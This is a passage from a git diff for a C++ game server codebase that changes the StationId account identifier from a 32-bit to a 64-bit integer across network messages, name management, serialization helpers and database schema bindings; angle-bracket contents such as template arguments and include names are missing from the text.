sizeof(uint32); memcpy(&secure, keyBufferPointer, sizeof(bool)); keyBufferPointer += sizeof(bool); diff --git a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h index 36abc449..1e337661 100755 --- a/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h +++ b/engine/server/application/ConnectionServer/src/shared/ConnectionServer.h @@ -48,7 +48,7 @@ class ConnectionServer : public MessageDispatch::Receiver static void addNewClient(ClientConnection* cconn, const NetworkId &oid, GameConnection* gconn, const std::string &sceneName, bool sendToStarport ); static void addConnectedClient(uint32 suid, ClientConnection* conn); static void addGameConnection(unsigned long gameServerId, GameConnection* gc); - static bool decryptToken(const KeyShare::Token & token, uint32 & stationUserId, bool & secure, std::string & accountName); + static bool decryptToken(const KeyShare::Token & token, StationId & stationUserId, bool & secure, std::string & accountName); static bool decryptToken(const KeyShare::Token & token, char* sessionKey, StationId & stationId); static CentralConnection * getCentralConnection(); static void dropClient(ClientConnection * conn, const std::string &description); diff --git a/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h b/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h index 3ca8cd55..cb40bec7 100755 --- a/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h +++ b/engine/server/library/serverDatabase/src/shared/CharacterNameLocator.h @@ -14,6 +14,7 @@ #include "sharedDatabaseInterface/BindableNetworkId.h" #include "sharedDatabaseInterface/DbQuery.h" #include "serverDatabase/ObjectLocator.h" +#include "sharedFoundation/StationId.h" #include // ====================================================================== @@ -63,7 +64,7 @@ class CharacterNameLocator : public ObjectLocator private: std::vector m_characterIds; - std::vector m_stationIds; + std::vector m_stationIds; std::vector m_characterNames; std::vector m_characterFullNames; std::vector m_characterCreateTime; diff --git a/engine/server/library/serverGame/src/shared/core/NameManager.cpp b/engine/server/library/serverGame/src/shared/core/NameManager.cpp index 3724892f..f5ea7c6d 100755 --- a/engine/server/library/serverGame/src/shared/core/NameManager.cpp +++ b/engine/server/library/serverGame/src/shared/core/NameManager.cpp @@ -189,7 +189,7 @@ int NameManager::getTotalPlayerCount() const // ---------------------------------------------------------------------- -void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers) +void NameManager::addPlayer(const NetworkId &id, StationId stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers) { std::string normalizedName(normalizeName(name)); @@ -221,14 +221,14 @@ void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::st if (notifyOtherServers) { std::vector ids; - std::vector stationIds; + std::vector stationIds; std::vector characterNames; std::vector characterFullNames; std::vector characterCreateTimes; std::vector characterLastLoginTimes; ids.push_back(id); - stationIds.push_back(static_cast(stationId)); + stationIds.push_back(stationId); characterNames.push_back(normalizedName); characterFullNames.push_back(fullName); characterCreateTimes.push_back(static_cast(createTime)); @@ -247,7 +247,7 @@ void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::st void NameManager::renamePlayer(const NetworkId &id, const Unicode::String &name, const Unicode::String &fullName) { - uint32 stationId = 0; + StationId stationId = 0; time_t createTime = 0; time_t lastLoginTime = 0; @@ -279,7 +279,7 @@ const NetworkId & NameManager::getPlayerId(const std::string &name) const // ---------------------------------------------------------------------- -uint32 NameManager::getPlayerStationId(const NetworkId &id) const +StationId NameManager::getPlayerStationId(const NetworkId &id) const { IdToCharacterDataMapType::const_iterator i=m_idToCharacterDataMap->find(id); if (i==m_idToCharacterDataMap->end()) @@ -464,7 +464,7 @@ void NameManager::releasePlayerName(const NetworkId &id) // ---------------------------------------------------------------------- -void NameManager::addPlayers(const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes) +void NameManager::addPlayers(const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes) { DEBUG_FATAL(ids.size() != stationIds.size(),("Programmer bug: Vectors ids and stationIds must be the same size.\n")); DEBUG_FATAL(ids.size() != names.size(),("Programmer bug: Vectors ids and names must be the same size.\n")); @@ -483,7 +483,7 @@ void NameManager::addPlayers(const std::vector &ids, const std::vecto void NameManager::sendAllNamesToServer (std::vector const & servers) const { std::vector ids; - std::vector stationIds; + std::vector stationIds; std::vector characterNames; std::vector characterFullNames; std::vector characterCreateTimes; @@ -492,7 +492,7 @@ void NameManager::sendAllNamesToServer (std::vector const & servers) con for (IdToCharacterDataMapType::const_iterator i=m_idToCharacterDataMap->begin(); i!=m_idToCharacterDataMap->end(); ++i) { ids.push_back(i->first); - stationIds.push_back(static_cast(i->second.stationId)); + stationIds.push_back(i->second.stationId); characterNames.push_back(i->second.characterName); characterFullNames.push_back(i->second.characterFullName); characterCreateTimes.push_back(static_cast(i->second.createTime)); diff --git a/engine/server/library/serverGame/src/shared/core/NameManager.h b/engine/server/library/serverGame/src/shared/core/NameManager.h index 6d440b16..f98940e2 100755 --- a/engine/server/library/serverGame/src/shared/core/NameManager.h +++ b/engine/server/library/serverGame/src/shared/core/NameManager.h @@ -8,6 +8,8 @@ #ifndef INCLUDED_NameManager_H #define INCLUDED_NameManager_H +#include "sharedFoundation/StationId.h" + // ====================================================================== class NameGenerator; @@ -32,13 +34,13 @@ class NameManager public: int getTotalPlayerCount () const; - void addPlayer (const NetworkId &id, uint32 stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers); - void addPlayers (const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes); + void addPlayer (const NetworkId &id, StationId stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers); + void addPlayers (const std::vector &ids, const std::vector &stationIds, const std::vector &names, const std::vector &fullNames, const std::vector &createTimes, const std::vector &lastLoginTimes); void renamePlayer (const NetworkId &id, const Unicode::String &name, const Unicode::String &fullName); std::string debugGetNameList () const; bool isPlayer (NetworkId const & possiblePlayer) const; const NetworkId & getPlayerId (const std::string &name) const; - uint32 getPlayerStationId (const NetworkId &id) const; + StationId getPlayerStationId (const NetworkId &id) const; const std::string & getPlayerName (const NetworkId &id) const; const std::string & getPlayerFullName (const NetworkId &id) const; int getPlayerCreateTime (const NetworkId &id) const; @@ -78,7 +80,7 @@ class NameManager struct CharacterData { - uint32 stationId; + StationId stationId; std::string characterName; std::string characterFullName; time_t createTime; diff --git a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp index 587764ac..8dcb9a94 100755 --- a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp +++ b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.cpp @@ -10,7 +10,7 @@ // ====================================================================== -CharacterNamesMessage::CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes) : +CharacterNamesMessage::CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes) : GameNetworkMessage("CharacterNamesMessage"), m_ids(), m_stationIds(), diff --git a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h index a693698b..047b32d0 100755 --- a/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h +++ b/engine/server/library/serverNetworkMessages/src/shared/gameGameServer/CharacterNamesMessage.h @@ -8,6 +8,7 @@ #ifndef INCLUDED_CharacterNamesMessage_H #define INCLUDED_CharacterNamesMessage_H +#include "sharedFoundation/StationId.h" #include "sharedNetworkMessages/GameNetworkMessage.h" // ====================================================================== @@ -21,12 +22,12 @@ class CharacterNamesMessage : public GameNetworkMessage { public: - CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes); + CharacterNamesMessage(const std::vector &ids, const std::vector &stationIds, const std::vector &characterNames, const std::vector &characterFullNames, const std::vector &createTimes, const std::vector &loginTimes); CharacterNamesMessage(Archive::ReadIterator & source); ~CharacterNamesMessage(); const std::vector &getIds() const; - const std::vector &getStationIds() const; + const std::vector &getStationIds() const; const std::vector &getNames() const; const std::vector &getFullNames() const; const std::vector &getCreateTimes() const; @@ -34,7 +35,7 @@ class CharacterNamesMessage : public GameNetworkMessage private: Archive::AutoArray m_ids; - Archive::AutoArray m_stationIds; + Archive::AutoArray m_stationIds; Archive::AutoArray m_names; Archive::AutoArray m_fullNames; Archive::AutoArray m_createTimes; @@ -57,7 +58,7 @@ inline const std::vector & CharacterNamesMessage::getIds() const // ---------------------------------------------------------------------- -inline const std::vector & CharacterNamesMessage::getStationIds() const +inline const std::vector & CharacterNamesMessage::getStationIds() const { return m_stationIds.get(); } diff --git a/engine/shared/library/sharedFoundation/src/shared/StationId.h b/engine/shared/library/sharedFoundation/src/shared/StationId.h index a0d7872c..8633f774 100755 --- a/engine/shared/library/sharedFoundation/src/shared/StationId.h +++ b/engine/shared/library/sharedFoundation/src/shared/StationId.h @@ -10,7 +10,7 @@ // ====================================================================== -typedef uint32 StationId; +typedef int64 StationId; // ====================================================================== diff --git a/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h b/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h index 386c4ffb..8d7e87b2 100755 --- a/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h +++ b/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h @@ -10,6 +10,8 @@ #define PLATFORM_LINUX #include +#include + // ====================================================================== // basic types that we assume to be around @@ -20,11 +22,12 @@ typedef unsigned long uint32; typedef signed char int8; typedef signed short int16; typedef signed long int32; -typedef signed long long int int64; -typedef unsigned long long int uint64; typedef float real; typedef FILE* FILE_HANDLE; +typedef int64_t int64; +typedef u_int64_t uint64; + #endif diff --git a/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h b/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h index 622039d8..64864f82 100755 --- a/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h +++ b/engine/shared/library/sharedFoundationTypes/src/win32/FoundationTypesWin32.h @@ -7,6 +7,8 @@ // // ====================================================================== +#include + #ifndef INCLUDED_FoundationTypesWin32_H #define INCLUDED_FoundationTypesWin32_H @@ -28,6 +30,10 @@ typedef signed long int32; typedef signed __int64 int64; typedef int FILE_HANDLE; +typedef int64_t int64; +typedef u_int64_t uint64; + + // ====================================================================== #endif diff --git a/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h b/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h index ba396c51..2ebb44de 100755 --- a/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h +++ b/external/3rd/library/soePlatform/VChatAPI/utils2.0/utils/Base/types.h @@ -49,11 +49,6 @@ namespace soe typedef u_int32_t uint32; typedef int64_t int64; typedef u_int64_t uint64; -//! the previous seem erroneous -// typedef signed int int32; -// typedef unsigned int uint32; -// typedef signed long long int64; -// typedef unsigned long long uint64; #endif } diff --git a/external/ours/library/archive/src/shared/Archive.h b/external/ours/library/archive/src/shared/Archive.h index 2921d66f..20a2ce2e 100755 --- a/external/ours/library/archive/src/shared/Archive.h +++ b/external/ours/library/archive/src/shared/Archive.h @@ -9,12 +9,28 @@ #include #include +// TODO: this is retarded, we have like 30-50 places where we define types... +// we must do something abou tthis +#include +typedef int64_t int64; +typedef u_int64_t uint64; +typedef int64 StationId; + //--------------------------------------------------------------------- namespace Archive { //--------------------------------------------------------------------- - + +inline void get(ByteStream::ReadIterator & source, uint64 & target) +{ + source.get(&target, 8); +} + +inline void get(ByteStream::ReadIterator & source, int64 & target) +{ + source.get(&target, 8); +} inline void get(ReadIterator & source, double & target) { @@ -215,6 +231,16 @@ template inline void get(ReadIterator & source, A * target, int leng //--------------------------------------------------------------------- +inline void put(ByteStream & target, const uint64 & source) +{ + target.put(&source, 8); +} + +inline void put(ByteStream & target, const int64 & source) +{ + target.put(&source, 8); +} + inline void put(ByteStream & target, const double & source) { target.put(&source, 8); diff --git a/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template b/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template index 7297cfd7..1bd7c287 100644 --- a/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template +++ b/game/server/application/SwgDatabaseServer/src/shared/generated/Schema_h.template @@ -23,7 +23,7 @@ struct PlayerObjectRow : public DB::Row enum {QUEST_DATA_SIZE=4000}; DB::BindableNetworkId object_id; - DB::BindableLong station_id; + DB::BindableInt64 station_id; DB::BindableNetworkId house_id; DB::BindableLong account_num_lots; DB::BindableBool account_is_outcast; @@ -80,7 +80,7 @@ struct PlayerObjectRow : public DB::Row struct PlayerObjectBufferRow : public DB::Row { DB::BindableNetworkId object_id; - DB::BindableLong station_id; + DB::BindableInt64 station_id; DB::BindableNetworkId house_id; DB::BindableLong account_num_lots; DB::BindableBool account_is_outcast; diff --git a/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h b/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h index 2e043f3d..f48e415a 100755 --- a/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h +++ b/game/server/application/SwgDatabaseServer/src/shared/tasks/TaskRestoreCharacter.h @@ -45,7 +45,7 @@ class TaskRestoreCharacter:public DB::TaskRequest //output: DB::BindableLong result; DB::BindableString<127> character_name; - DB::BindableLong account; + DB::BindableInt64 account; DB::BindableLong template_id; private: